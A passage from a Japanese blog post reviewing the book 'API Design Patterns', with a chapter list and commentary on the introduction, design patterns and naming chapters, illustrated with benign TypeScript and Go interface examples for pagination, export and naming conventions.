Patterns」は、APIの基本概念と重要性から始まり、設計原則、基本的な操作と機能、リソース間の関係性の表現方法、複数リソースの一括操作、そして安全性とセキュリティに至るまで、APIデザインの全体像を包括的に扱っており、各パートでは、APIの定義と特性、設計原則(命名規則、リソースの階層など)、基本的な操作(標準メソッド、カスタムメソッドなど)、リソース間の関係性(シングルトンサブリソース、ポリモーフィズムなど)、集合的操作(バッチ処理、ページネーションなど)、そして安全性とセキュリティ(バージョニング、認証など)について詳細に解説し、これらの要素を適切に組み合わせることで、使いやすく、柔軟で、安全なAPIを設計するための総合的な指針を提供しています。よりよいAPIを設計するためのアイデア本書を読み進める中で、「アイデアのつくり方」で説明されているアイデア創出の根幹をなす2つの原理が、私たちのAPI設計にも適用できるのではないかと考えました。これらの原理とは以下の通りです。アイデアとは既存の要素の新たな組み合わせである既存の要素を新しい組み合わせへと導く才能は、事物間の関連性を見出す能力に大きく依存するアイデアのつくり方作者:ジェームス W.ヤングCCCメディアハウスAmazon今後のAPI設計において、これらの原理を意識的に取り入れ、実践していくことで、より革新的で使いやすいAPIを生み出せる可能性があります。日本語版日本語版の出版は、多くの日本人エンジニアにとって、感謝でしかありません。英語特有のニュアンスの把握に苦心する部分も、母国語で読み解くことでより深い理解が得られ、本書の真髄をより効果的に吸収できたと実感しています。APIデザイン・パターン (Compass Booksシリーズ)作者:JJ Geewaxマイナビ出版Amazonむすびこの書との出会いを通じて、私はAPIデザインの本質を体得し、時代を超えて価値を持ち続ける設計スキルを磨くことができたと確信しています。技術の潮流に左右されない、根本的な設計原則を身につけることで、エンジニアとしての自己成長と、より卓越したシステム設計の実現への道が開かれたと感じています。本ブログでは、この読後感に加えて、私が特に注目した点や、本書の概念をGo言語で具現化した実装例なども記しています。これらの追加コンテンツが、本書の理解をより深め、実践への架け橋となることを願っています。「API Design Patterns」との邂逅は、私のエンジニアとしてのキャリアに新たな地平を開いてくれました。本書から得た知見と洞察を、今後の業務に存分に活かし、さらなる高みを目指す所存です。APIの世界への深い理解を得るには、その前史を知ることも重要です。その観点から、「Real World HTTP 第3版―歴史とコードに学ぶインターネットとウェブ技術」も併せてお薦めします。この書は、APIの基盤となるHTTPの歴史と技術を深く掘り下げており、APIデザインの文脈をより広い視野で捉えるのに役立ちます。www.oreilly.co.jp執筆プロセスと建設的な対話のお願い最後に、このブログの執筆プロセスにおいて、大規模言語モデル(LLM)を活用していることをお伝えします。そのため、一部の表現にLLM特有の文体が反映されている可能性があります。ただし、内容の核心と主張は人間である私の思考と判断に基づいています。LLMは主に文章の構成や表現の洗練化に寄与していますが、本質的な洞察や分析は人間の所産です。この点をご理解いただければ幸いです。それを指摘して悦に浸ってるの最高です。あと、基本的には繊細なのでもっと議論ができる意見やポジティブな意見を下さい。本書の内容や私の感想文について、さらに詳しい議論や意見交換をしたい方がいらっしゃいましたら、Xのダイレクトメッセージでご連絡ください。パブリックな場所での一方的な批判は暴力に近く。建設的な対話を通じて、記事を加筆修正したいです。互いの理解をさらに深められることを楽しみにしています。目次Xで時折紹介する本の中には、わずか1行で要点を伝えられるものもある。しかし、その本の私においての価値は必ずしもその長さで測れるものではない。紹介が短い本が劣っているわけでもなければ、長い本が常に優れているわけでもない。重要なのは、その本が読者にどれだけの影響を与え、どれほどの思考を喚起するかだ。はじめに「はじめに」にあるべき全体像よりよいAPIを設計するためのアイデア日本語版むすび執筆プロセスと建設的な対話のお願い目次Part 1 Introduction1 Introduction to APIsWeb APIの特性と重要性API設計アプローチの比較「良い」APIの特性運用可能性とSREの視点表現力と使いやすさシンプル性と柔軟性のバランス予測可能性とコード一貫性著者の主張に対する補完的視点総括と実践への応用継続的改善と進化の重要性結論2 Introduction to API design patternsAPI設計パターンの定義と重要性API設計パターンの構造実践的な適用:Twapiの事例研究メッセージのリスト化データのエクスポートAPI設計パターンの適用:早期採用の重要性結論Part 2 Design principles3 Naming命名の重要性良い名前の特性言語、文法、構文の選択コンテキストと命名データ型と単位結論4 Resource scope and hierarchyリソースレイアウトの重要性リソース間の関係性エンティティ関係図の活用適切な関係性の選択アンチパターンの回避実践的な応用と考察結論5 Data types and defaultsデータ型の重要性と課題プリミティブデータ型の扱いコレクションと構造体実践的な応用と考察結論Part 3 Fundamentals6 Resource identification識別子の重要性と特性実装の詳細識別子の階層と一意性のスコープUUIDとの比較実践的な応用と考察結論7 Standard methods標準メソッドの重要性と概要実装の詳細とベストプラクティス標準メソッドの適用と課題実践的な応用と考察結論8 Partial updates and retrievals部分的な更新と取得の動機フィールドマスクの実装部分的な更新と取得の課題実践的な応用と考察フィールドマスクの高度な使用法部分的な更新と取得の影響結論9 Custom methodsカスタムメソッドの必要性と動機カスタムメソッドの実装副作用の取り扱いリソースvs.コレクションステートレスカスタムメソッド実践的な応用と考察結論10 Long-running operations長時間実行操作の必要性と概要LROの実装LROの状態管理と結果の取得LROの制御と管理実践的な応用と考察結論11 Rerunnable jobs再実行可能なジョブの必要性と概要ジョブリソースの実装ジョブの実行とLRO実行リソースの導入実践的な応用と考察結論Part 4 Resource relationships12 Singleton sub-resourcesシングルトンサブリソースの必要性と概要シングルトンサブリソースの実装シングルトンサブリソースの利点と課題実践的な応用と考察結論13 Cross referencesリソース間参照の必要性と概要リソース間参照の実装リソース間参照の利点と課題実践的な応用と考察結論14 Association resources関連リソースの必要性と概要関連リソースの実装関連リソースの利点と課題実践的な応用と考察結論15 Add and remove custom methods動機と概要実装の詳細利点と課題実践的な応用と考察結論16 Polymorphismポリモーフィズムの必要性と概要ポリモーフィックリソースの実装ポリモーフィズムの利点と課題実践的な応用と考察ポリモーフィックメソッドの回避結論Part 5 Collective operations17 Copy and moveコピーと移動操作の必要性と概要実装の詳細と課題実践的な応用と考察結論18 Batch operationsバッチ操作の必要性と概要バッチ操作の設計原則実装の詳細バッチ操作の影響とトレードオフ実践的な応用と考察結論19 Criteria-based deletion条件に基づく削除の必要性と概要purge操作の設計と実装purge操作の影響とトレードオフ実践的な応用と考察結論20 Anonymous writes匿名データの必要性と概要write メソッドの実装一貫性と運用上の考慮事項実践的な応用と考察結論21 Paginationページネーションの必要性と概要ページネーションの実装ページネーションの影響とトレードオフ実践的な応用と考察ページネーションと全体的なシステムアーキテクチャ結論22 Filteringフィルタリングの必要性と概要フィルタリングの実装フィルタリングの影響とトレードオフ実践的な応用と考察フィルタリングとシステムアーキテクチャ結論23 Importing and exportingインポートとエクスポートの必要性と概要インポートとエクスポートの実装インポートとエクスポートの影響とトレードオフ実践的な応用と考察結論Part 6 Safety and security24 Versioning and compatibilityバージョニングの必要性と互換性の概念後方互換性の定義バージョニング戦略バージョニングのトレードオフ結論25 Soft deletionソフト削除の動機と概要ソフト削除の実装ソフト削除の影響とトレードオフ実践的な応用と考察ソフト削除とシステムアーキテクチャ結論26 Request deduplicationリクエスト重複排除の必要性と概要リクエスト重複排除の実装リクエスト重複排除の影響とトレードオフ実践的な応用と考察リクエスト重複排除とシステムアーキテクチャ結論27 Request validationリクエスト検証の必要性と概要リクエスト検証の実装リクエスト検証の影響とトレードオフ実践的な応用と考察リクエスト検証とシステムアーキテクチャ結論28 Resource revisionsリソースリビジョンの必要性と概要リソースリビジョンの実装リソースリビジョンの影響とトレードオフ実践的な応用と考察リソースリビジョンとシステムアーキテクチャ結論29 Request retrialリクエスト再試行の必要性と概要クライアント側の再試行タイミングサーバー指定の再試行タイミング再試行可能なリクエストの判断実践的な応用と考察結論30 Request authenticationリクエスト認証の必要性と概要デジタル署名の実装リクエストのフィンガープリンティング実践的な応用と考察結論おわりにそもそも、Design Patternsは設計ではないですよね?あとね、方法論は確かに重要ですが、それは単なる「ハウツー」ではありません。優れた方法論は、基本的な原理・原則に基づいており、それらを実践的な形で具現化したものです。つまり、方法論を学ぶことは、その背後にある原理を理解し、それを様々な状況に適用する能力を養うことにつながります。例えば、アジャイル開発やDevOpsといった方法論は、ソフトウェア開発における重要な考え方や原則を実践的なフレームワークとして提供しています。これらの方法論を適切に理解し適用することで、チームの生産性や製品の品質を向上させることができます。しかし、ここで重要なのは、これらの方法論を単なる手順やルールの集合として捉えるのではなく、その根底にある思想や目的を理解することです。そうすることで、方法論を状況に応じて柔軟に適用したり、必要に応じて改良したりすることが可能になります。また、方法論は時代とともに進化します。新しい技術や課題が登場するたびに、既存の方法論が更新されたり、新しい方法論が生まれたりします。したがって、特定の方法論に固執するのではなく、常に学び続け、新しい知識や手法を取り入れる姿勢が重要です。結局のところ、原理・原則と方法論は相互に補完し合う関係にあります。原理・原則は長期的に通用する基盤を提供し、方法論はそれを実践的に適用する手段を提供します。両者をバランスよく学び、理解することで、より効果的かつ柔軟なソフトウェア開発が可能になるのです。言いたいことは言ったので本編どうぞ!Part 1 Introductionこのパートでは、APIの基本概念、重要性、そして「良い」APIの特性について説明しています。APIは「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と定義され、その重要性が強調されています。Web APIの特性、RPC指向とリソース指向のアプローチの比較、そして運用可能性、表現力、シンプル性、予測可能性といった「良い」APIの特性が詳細に解説されています。1 Introduction to APIs「API Design Patterns」の第1章「Introduction to APIs」は、APIの基本概念から始まり、その重要性、設計哲学、そして「良い」APIの特性に至るまで、幅広いトピックをカバーしています。著者は、Google Cloud Platformのエンジニアとして長年APIの設計と実装に携わってきた経験を活かし、理論と実践の両面からAPIの本質に迫っています。まず、APIの定義から始めましょう。著者は、APIを「コンピュータシステム間の相互作用を定義する特別な種類のインターフェース」と説明しています。この一見シンプルな定義の背後には、Google Cloud Platform上の数多くのAPIを設計・実装してきた著者の深い洞察が隠れています。例えば、Google Cloud StorageやBigQueryなどのサービスのAPIは、この定義を体現しており、複雑なクラウドリソースへのアクセスを簡潔なインターフェースで提供しています。この定義は、非常に重要です。なぜなら、私たちの日々の業務の多くは、APIを設計し、実装し、そして維持することに費やされているからです。「APIに遊ばれるだけの日々」という表現は、多くのエンジニアの共感を呼ぶでしょう。しかし、著者の示す視点は、APIを単なる技術的な構成要素ではなく、システム設計の中核を成す重要な概念として捉え直すきっかけを与えてくれます。Googleが提供しているAPI設計ガイドも、非常に優れたAPIの例を紹介しています。このガイドは、著者が所属している Google のエンジニアたちが長年の経験から得た知見をまとめたものであり、「API Design Patterns」の内容を補完する貴重なリソースとなっています。cloud.google.comこのガイドと本書を併せて読むことで、APIの設計に関するより包括的な理解が得られます。例えば、ガイドで推奨されている命名規則やエラー処理の方法は、本書で説明されている「良い」APIの特性と密接に関連しています。この章は、APIの基本を学ぶ初心者から、より良いAPI設計を模索する経験豊富な開発者まで、幅広い読者に価値を提供します。著者の洞察は、私たちがAPIをより深く理解し、より効果的に設計・実装するための道標となるでしょう。Web APIの特性と重要性特に印象的だったのは、著者がWeb APIの重要性と特性を強調していることです。Web APIは、ネットワーク越しに機能を公開し、その内部の仕組みや必要な計算能力を外部から見えないようにするという特性を持っています。これは、マイクロサービスアーキテクチャやクラウドを活用した最新のアプリケーションの観点から考えると、非常に重要な概念です。例えば、マイクロサービスは、その内部の仕組みの詳細を隠しつつ、明確に定義された使い方(API)を通じて他のサービスとやり取りします。これにより、サービス同士の依存関係を少なく保ちながら、システム全体の柔軟性と拡張性を高めることができます。著者は、Web APIの特徴として、API提供者が大きな制御力を持つ一方で、利用者の制御力は限られていることを指摘しています。これは実務において重要な考慮点です。例えば、APIの変更が利用者に与える影響を慎重に管理する必要があります。APIのバージョン管理や段階的な導入などの技術を適切に活用することで、APIの進化と利用者のシステムの安定性のバランスを取ることが求められます。API設計アプローチの比較著者は、APIの設計アプローチとして、RPC (Remote Procedure Call) 指向とリソース指向の2つを比較しています。この比較は非常に興味深く、実際の開発現場での議論を想起させます。例えば、gRPCはRPC指向のAPIを提供し、高性能な通信を実現します。一方で、REST APIはリソース指向のアプローチを取り、HTTPプロトコルの特性を活かした設計が可能です。著者が提唱するリソース指向APIの利点、特に標準化された操作(CRUD操作)とリソースの組み合わせによる学習曲線の緩和は、実際の開発現場でも感じる点です。例えば、新しいマイクロサービスをチームに導入する際、リソース指向のAPIであれば、開発者は既存の知識(標準的なHTTPメソッドの使い方など)を活かしつつ、新しいリソースの概念を学ぶだけで素早く適応できます。「良い」APIの特性「良い」APIの特性に関する著者の見解は、特に重要です。著者は、良いAPIの特性として以下の4点を挙げています。運用可能性(Operational)表現力(Expressive)シンプル性(Simple)予測可能性(Predictable)これらの特性は、現代のソフトウェア開発において非常に重要です。運用可能性とSREの視点運用可能性に関しては、APIが機能的に正しいだけでなく、パフォーマンス、スケーラビリティ、信頼性などの非機能要件を満たすことが、実際の運用環境では極めて重要です。例えば、並行処理機能を活用して高性能なAPIを実装し、OpenTelemetryやPrometheusなどのモニタリングツールと連携してメトリクスを収集することで、運用可能性の高いAPIを実現できます。syu-m-5151.hatenablog.com表現力と使いやすさ表現力に関する著者の議論は、API設計の核心を突いています。APIは単に機能を提供するだけでなく、その機能を明確かつ直感的に表現する必要があります。例えば、言語検出機能を提供する場合、TranslateTextメソッドを使って間接的に言語を検出するのではなく、DetectLanguageという専用のメソッドを提供することで、APIの意図がより明確になります。この点は、特にマイクロサービスアーキテクチャにおいて重要です。各サービスのAPIが明確で表現力豊かであれば、サービス間の統合がスムーズになり、システム全体の理解と保守が容易になります。マイクロサービスアーキテクチャ 第2版作者:Sam Newmanオーム社Amazonシンプル性と柔軟性のバランス著者が提案する「共通のケースを素晴らしく、高度なケースを可能にする」というアプローチは、実際のAPI設計で常に意識すべき点です。例えば、翻訳APIの設計において、単純な言語間翻訳と、特定の機械学習モデルを指定した高度な翻訳の両方をサポートする方法が示されています。このアプローチは、APIの使いやすさと柔軟性のバランスを取る上で非常に有用です。このようなデザインは運用の複雑さを軽減し、エラーの可能性を減らすことができます。この辺はとても良いので書籍をご確認下さい。リーダブルコード ―より良いコードを書くためのシンプルで実践的なテクニック (Theory in practice)作者:Dustin Boswell,Trevor FoucherオライリージャパンAmazon予測可能性とコード一貫性予測可能性に関する著者の主張は、特に共感できる点です。APIの一貫性、特にフィールド名やメソッド名の命名規則の統一は、開発者の生産性に直接影響します。多くの開発チームでは、コードスタイルの一貫性を保つ文化が根付いています。これは、APIの設計にも同様に適用されるべき考え方です。予測可能なAPIは、学習コストを低減し、誤用の可能性を減らします。これは、大規模なシステムやマイクロサービス環境で特に重要です。一貫したパターンを持つAPIは、新しいサービスの統合や既存サービスの拡張を容易にします。著者の主張に対する補完的視点しかし、著者の主張に対して、いくつかの疑問や補完的な視点も考えられます。例えば、リソース指向APIが常に最適解であるかどうかは、議論の余地があります。特に、リアルタイム性が求められる場合や、複雑なビジネスロジックを扱う場合など、RPC指向のアプローチが適している場合もあります。gRPCを使用したストリーミングAPIなど、リソース指向とRPC指向のハイブリッドなアプローチも有効な選択肢となりうるでしょう。また、著者はAPI設計の技術的側面に焦点を当てていますが、組織的な側面についても言及があれば良かったと思います。例えば、マイクロサービスアーキテクチャにおいて、異なるチームが管理する複数のサービス間でAPIの一貫性を保つためには、技術的な設計パターンだけでなく、組織的なガバナンスや設計レビューのプロセスも重要です。さらに、APIのバージョニングや後方互換性の維持に関する詳細な議論があれば、より実践的な内容になったかもしれません。これらの点は、システムの安定性と進化のバランスを取る上で極めて重要です。総括と実践への応用総括すると、この章はAPIの基本概念と設計原則に関する優れた導入を提供しています。著者の主張は、日々の実践に直接適用できる洞察に満ちています。特に、「良い」APIの特性に関する議論は、API設計の指針として非常に有用です。これらの原則を意識しながら設計することで、使いやすく、拡張性があり、運用しやすいAPIを実現できるでしょう。また、リソース指向APIの利点に関する著者の主張は、RESTful APIの設計において特に参考になります。多くの現代的なWebフレームワークを使用してRESTful APIを実装することが一般的ですが、これらのフレームワークを使用する際も、著者が提唱するリソース指向の原則を意識することで、より一貫性のある設計が可能になります。しかし、実際の開発現場では、これらの原則を機械的に適用するだけでなく、具体的なユースケースや要件に応じて適切なトレードオフを判断することが重要です。例えば、パフォーマンスが極めて重要な場合は、RESTful APIよりもgRPCを選択するなど、状況に応じた柔軟な判断が求められます。さらに、APIの設計は技術的な側面だけでなく、ビジネス要件やユーザーのニーズとも密接に関連しています。したがって、API設計のプロセスには、技術チームだけでなく、プロダクトマネージャーやユーザー体験(UX)の専門家など、多様なステークホルダーを巻き込むことが重要です。継続的改善と進化の重要性最後に、APIの設計は一度で完成するものではなく、継続的な改善と進化のプロセスであることを強調したいと思います。APIの性能モニタリング、エラーレート分析、使用パターンの観察などを通じて、常にAPIの品質と有効性を評価し、必要に応じて改善を加えていくことが重要です。この章で学んだ原則と概念を、単なる理論ではなく、実際の開発プラクティスに統合していくことが、次のステップとなるでしょう。例えば、APIデザインレビューのチェックリストを作成し、チーム内で共有することや、APIのスタイルガイドを作成し、一貫性のある設計を促進することなどが考えられます。また、この章の内容を踏まえて、既存のAPIを評価し、改善の余地がないかを検討することも有用です。特に、予測可能性やシンプル性の観点から、現在のAPIが最適化されているかを見直すことで、大きな改善につながる可能性があります。結論結論として、この章はAPIデザインの基本原則を理解し、実践するための優れた出発点を提供しています。ここで学んだ概念を実践に適用することで、より堅牢で使いやすい、そして運用しやすいAPIを設計・実装することができるでしょう。そして、これらの原則を日々の開発プラクティスに組み込むことで、長期的にはプロダクトの品質向上とチームの生産性向上につながると確信しています。この章の内容は、単にAPIの設計だけでなく、ソフトウェアアーキテクチャ全体に適用できる重要な原則を提供しています。システムの相互運用性、保守性、スケーラビリティを向上させるために、これらの原則を広く適用することが可能です。2 Introduction to API design patterns「API Design Patterns」の第2章「Introduction to API design patterns」は、API設計パターンの基本概念から始まり、その重要性、構造、そして実際の適用に至るまで、幅広いトピックをカバーしています。この章を通じて、著者はAPI設計パターンの本質と、それがソフトウェア開発においてどのような役割を果たすかを明確に示しています。API設計パターンの定義と重要性API設計パターンは、ソフトウェア設計パターンの一種であり、APIの設計と構造化に関する再利用可能な解決策を提供します。著者は、これらのパターンを「適応可能な設計図」と巧みに表現しています。この比喩は、API設計パターンの本質を非常によく捉えています。建築の設計図が建物の構造を定義するように、API設計パターンはAPIの構造とインターフェースを定義します。しかし、重要な違いは、API設計パターンが固定的ではなく、様々な状況に適応可能であるという点です。著者は、API設計パターンの重要性をAPIの硬直性という観点から説明しています。これは非常に重要な指摘です。APIは一度公開されると、変更が困難になります。これは、APIの消費者(クライアントアプリケーションなど)が既存のインターフェースに依存しているためです。この硬直性は、システムの進化や新機能の追加を困難にする可能性があります。この問題を考えると、APIの硬直性はシステムの運用性と信頼性に直接影響を与えます。例えば、不適切に設計されたAPIは、将来的なスケーリングや性能最適化を困難にする可能性があります。また、APIの変更が必要になった場合、既存のクライアントとの互換性を維持しながら変更を行う必要があり、これは運用上の大きな課題となります。この問題に対処するため、著者は設計パターンを初期段階から採用することの重要性を強調しています。これは、将来の変更や拡張を容易にし、システムの長期的な保守性を向上させる上で非常に重要です。このアプローチはシステムの安定性と信頼性を長期的に確保するための重要な戦略です。API設計パターンの構造著者は、API設計パターンの構造を詳細に説明しています。特に興味深いのは、パターンの記述に含まれる要素です。名前とシノプシス動機概要実装トレードオフこの構造は、パターンを理解し適用する上で非常に有用です。特に、トレードオフの項目は重要です。ソフトウェア工学において、すべての決定にはトレードオフが伴います。パターンを適用する際も例外ではありません。脱線しますがアーキテクチャのトレードオフについてはこちらがオススメです。ソフトウェアアーキテクチャの基礎 ―エンジニアリングに基づく体系的アプローチ作者:Mark Richards,Neal FordオライリージャパンAmazonトレードオフの理解はリスク管理と密接に関連しています。例えば、あるパターンを採用することで、システムの柔軟性が向上する一方で、複雑性も増加するかもしれません。このトレードオフを理解し、適切に管理することは、システムの信頼性とパフォーマンスを最適化する上で重要です。実践的な適用:Twapiの事例研究著者は、Twitter風のAPIであるTwapiを爆誕させて例に取り、API設計パターンの実践的な適用を示しています。この事例研究は、理論を実践に移す上で非常に有用です。特に興味深いのは、メッセージのリスト化とエクスポートの2つの機能に焦点を当てている点です。これらの機能は、多くのAPIで共通して必要とされるものであり、実際の開発シーンでも頻繁に遭遇する課題です。メッセージのリスト化著者は、まずパターンを適用せずにメッセージをリスト化する機能を実装し、その後にページネーションパターンを適用した実装を示しています。このコントラストは非常に教育的です。パターンを適用しない初期の実装は、以下のようになっています。interface ListMessagesResponse { results: Message[];}この実装は一見シンプルですが、著者が指摘するように、データ量が増加した場合に問題が発生します。例えば、数十万件のメッセージを一度に返そうとすると、レスポンスのサイズが巨大になり、ネットワークの帯域幅を圧迫し、クライアント側での処理も困難になります。これに対し、ページネーションパターンを適用した実装は以下のようになります。interface ListMessagesRequest { parent: string; pageToken: string; maxPageSize?: number;}interface ListMessagesResponse { results: Message[]; nextPageToken: string;}この実装では、クライアントはpageTokenとmaxPageSizeを指定することで、必要な量のデータを段階的に取得できます。これにより、大量のデータを効率的に扱うことが可能になります。このパターンの適用はシステムの安定性とスケーラビリティに大きく貢献します。大量のデータを一度に送信する必要がなくなるため、ネットワーク負荷が軽減され、サーバーのリソース消費も抑えられます。また、クライアント側でも処理するデータ量が制御可能になるため、アプリケーションのパフォーマンスと安定性が向上します。データのエクスポートデータのエクスポート機能に関しても、著者は同様のアプローチを取っています。まずパターンを適用しない実装を示し、その後にImport/Exportパターンを適用した実装を提示しています。パターンを適用しない初期の実装は以下のようになっています。interface ExportMessagesResponse { exportDownloadUri: string;}この実装は、エクスポートされたデータのダウンロードURLを返すだけの単純なものです。しかし、著者が指摘するように、この方法には幾つかの制限があります。例えば、エクスポート処理の進捗状況を確認できない、エクスポート先を柔軟に指定できない、データの圧縮や暗号化オプションを指定できないなどの問題があります。これに対し、Import/Exportパターンを適用した実装は以下のようになります。interface ExportMessagesRequest { parent: string; outputConfig: MessageOutputConfig;}interface MessageOutputConfig { destination: Destination; compressionConfig?: CompressionConfig; encryptionConfig?: EncryptionConfig;}interface ExportMessagesResponse { outputConfig: MessageOutputConfig;}この実装では、エクスポート先やデータの処理方法を柔軟に指定できるようになっています。さらに、著者は長時間実行操作パターンを組み合わせることで、エクスポート処理の進捗状況を追跡する方法も提示しています。このパターンの適用はシステムの運用性と可観測性を大幅に向上させます。エクスポート処理の進捗を追跡できるようになることで、問題が発生した際の迅速な対応が可能になります。また、エクスポート設定の柔軟性が増すことで、様々なユースケースに対応できるようになり、システムの利用可能性が向上します。API設計パターンの適用:早期採用の重要性著者は、API設計パターンの早期採用の重要性を強調しています。これは非常に重要な指摘です。APIを後から変更することは困難であり、多くの場合、破壊的な変更を伴います。例えば、ページネーションパターンを後から導入しようとした場合、既存のクライアントは全てのデータが一度に返ってくることを期待しているため、新しいインターフェースに対応できません。これは、後方互換性の問題を引き起こします。この問題はシステムの安定性と信頼性に直接影響します。APIの破壊的変更は、依存するシステムやサービスの機能停止を引き起こす可能性があります。これは、サービスレベル目標(SLO)の違反につながる可能性があります。したがって、API設計パターンの早期採用は、長期的な視点でシステムの安定性と進化可能性を確保するための重要な戦略と言えます。これは、「設計負債」を最小限に抑え、将来の拡張性を確保することにつながります。結論本章は、API設計パターンの基本的な概念と重要性を明確に示しています。特に、APIの硬直性という特性に焦点を当て、設計パターンの早期採用がいかに重要であるかを強調している点は非常に重要です。この章で学んだ内容は、システムの長期的な信頼性、可用性、保守性を確保する上で非常に重要です。API設計パターンを適切に適用することで、システムのスケーラビリティ、運用性、可観測性を向上させることができます。しかし、パターンの適用に当たっては、常にトレードオフを考慮する必要があります。パターンを適用することで複雑性が増す可能性もあるため、システムの要件や制約を十分に理解した上で、適切なパターンを選択することが重要です。API設計は単なる技術的な問題ではなく、システム全体のアーキテクチャ、開発プロセス、運用実践に深く関わる問題であることを認識することが重要です。Part 2 Design principlesここでは、APIデザインの核心となる原則が議論されています。命名規則、リソースのスコープと階層、データ型とデフォルト値、リソースの識別子、標準メソッド、部分的な更新と取得、カスタムメソッドなどの重要なトピックが取り上げられています。これらの原則は、一貫性があり、使いやすく、拡張性のあるAPIを設計する上で不可欠です。3 Naming「API Design Patterns」の第3章「Naming」は、API設計における命名の重要性、良い名前の特性、言語・文法・構文の選択、コンテキストの影響、データ型と単位の扱い、そして不適切な命名がもたらす結果について幅広く論じています。この章を通じて、著者は命名が単なる表面的な問題ではなく、APIの使いやすさ、保守性、そして長期的な成功に直接影響を与える重要な設計上の決定であることを明確に示しています。命名の重要性著者は、命名がソフトウェア開発において避けられない、そして極めて重要な側面であることから議論を始めています。特にAPIの文脈では、選択された名前はAPIの利用者が直接目にし、相互作用する部分であるため、その重要性は倍増します。「ルールズ・オブ・プログラミング」では\"優れた名前こそ最高のドキュメントである\"と述べられていますが、まさにその通りだと言えるでしょう。ルールズ・オブ・プログラミング ―より良いコードを書くための21のルール作者:Chris Zimmermanオーム社Amazonこの点は、特にマイクロサービスアーキテクチャやクラウドネイティブ開発の文脈で重要です。これらの環境では、多数のサービスやコンポーネントが相互に通信し、それぞれのインターフェースを通じて機能を提供します。適切な命名は、これらのサービス間の関係を明確にし、システム全体の理解を促進します。例えば、Kubernetes環境で動作するマイクロサービスを考えてみましょう。サービス名、エンドポイント名、パラメータ名などの命名が適切であれば、開発者はシステムの全体像を把握しやすくなり、新しい機能の追加や既存機能の修正がスムーズに行えます。逆に、命名が不適切であれば、サービス間の依存関係の理解が困難になり、システムの複雑性が不必要に増大する可能性があります。著者は、APIの名前を変更することの困難さについても言及しています。これは、後方互換性の維持という観点から非常に重要な指摘です。一度公開されたAPIの名前を変更することは、そのAPIに依存する全てのクライアントに影響を与える可能性があります。これは、システムの安定性と信頼性に直接関わる問題です。この点は、特にバージョニング戦略と密接に関連しています。例えば、セマンティックバージョニングを採用している場合、名前の変更は通常メジャーバージョンの更新を必要とします。これは、その変更が後方互換性を破壊する可能性があることを意味します。したがって、初期の段階で適切な命名を行うことは、将来的なバージョン管理の複雑さを軽減し、システムの長期的な保守性を向上させる上で極めて重要です。良い名前の特性著者は、良い名前の特性として「表現力」「シンプルさ」「予測可能性」の3つを挙げています。これらの特性は、APIの設計全体にも適用できる重要な原則です。表現力は、名前が表す概念や機能を明確に伝える能力を指します。例えば、CreateAccountという名前は、アカウントを作成するという機能を明確に表現しています。この表現力は、APIの自己文書化につながり、開発者がAPIを直感的に理解し、使用することを可能にします。シンプルさは、不必要な複雑さを避け、本質的な意味を簡潔に伝える能力です。著者はUserPreferencesという例を挙げていますが、これはUserSpecifiedPreferencesよりもシンプルでありながら、十分に意味を伝えています。シンプルな名前は、コードの可読性を高め、APIの学習曲線を緩やかにします。予測可能性は、APIの一貫性に関わる重要な特性です。著者は、同じ概念には同じ名前を、異なる概念には異なる名前を使用することの重要性を強調しています。これは、APIの学習可能性と使いやすさに直接影響します。これらの特性は、マイクロサービスアーキテクチャにおいて特に重要です。多数のサービスが存在する環境では、各サービスのAPIが一貫した命名規則に従っていることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで、リソースの作成にCreate、更新にUpdate、削除にDeleteというプレフィックスを使用するといった一貫性は、開発者の生産性を大きく向上させます。Golangの文脈では、これらの原則は特に重要です。Goの設計哲学は、シンプルさと明確さを重視しており、これはAPI設計にも反映されるべきです。例えば、Goの標準ライブラリでは、http.ListenAndServeやjson.Marshalのような、動詞+名詞の形式で簡潔かつ表現力豊かな名前が多用されています。これらの名前は、その機能を明確に表現しながらも、不必要に長くならないよう配慮されています。言語、文法、構文の選択著者は、API設計における言語、文法、構文の選択について詳細に論じています。特に興味深いのは、アメリカ英語を標準として使用することの推奨です。これは、グローバルな相互運用性を最大化するための実用的な選択として提示されています。この選択は、国際的なチームが協働するモダンな開発環境において特に重要です。例えば、多国籍企業のマイクロサービス環境では、各サービスのAPIが一貫した言語で設計されていることが、チーム間のコミュニケーションと統合を円滑にします。文法に関しては、著者は動詞の使用法、特に命令法の重要性を強調しています。例えば、CreateBookやDeleteWeatherReadingのような名前は、アクションの目的を明確に示します。これは、RESTful APIの設計原則とも整合しており、HTTP動詞とリソース名の組み合わせによる直感的なAPIデザインを促進します。構文に関しては、一貫したケース(camelCase, snake_case, kebab-case)の使用が推奨されています。これは、APIの一貫性と予測可能性を高めるために重要です。例えば、Golangでは通常、公開される関数やメソッドには PascalCase を、非公開のものには camelCase を使用します。この規則を API 設計にも適用することで、Go 開発者にとって馴染みやすい API を作成できます。type UserService interface { CreateUser(ctx context.Context, user *User) error GetUserByID(ctx context.Context, id string) (*User, error) UpdateUserProfile(ctx context.Context, id string, profile *UserProfile) error}このような一貫した命名規則は、API の使用者が新しいエンドポイントや機能を容易に予測し、理解することを可能にします。コンテキストと命名著者は、命名におけるコンテキストの重要性を強調しています。同じ名前でも、異なるコンテキストで全く異なる意味を持つ可能性があるという指摘は、特にマイクロサービスアーキテクチャにおいて重要です。例えば、Userという名前は、認証サービスでは認証情報を持つエンティティを指す可能性がありますが、注文管理サービスでは顧客情報を指す可能性があります。このような場合、コンテキストを明確にするために、AuthUserやCustomerUserのように、より具体的な名前を使用することが望ましいでしょう。これは、ドメイン駆動設計(DDD)の概念とも密接に関連しています。DDDでは、各ドメイン(またはバウンデッドコンテキスト)内で一貫した用語を使用することが推奨されます。API設計においても、この原則を適用し、各サービスやモジュールのドメインに適した名前を選択することが重要です。例えば、Eコマースシステムのマイクロサービスアーキテクチャを考えてみましょう:注文サービス: Order, OrderItem, PlaceOrder在庫サービス: InventoryItem, StockLevel, ReserveStock支払サービス: Payment, Transaction, ProcessPayment各サービスは、そのドメインに特化した用語を使用しています。これにより、各サービスの責任範囲が明確になり、他のサービスとの境界も明確になります。データ型と単位著者は、データ型と単位の扱いについても詳細に論じています。特に、単位を名前に含めることの重要性が強調されています。これは、API の明確さと安全性を高める上で非常に重要です。例えば、サイズを表すフィールドを単に size とするのではなく、sizeBytes や sizeMegapixels 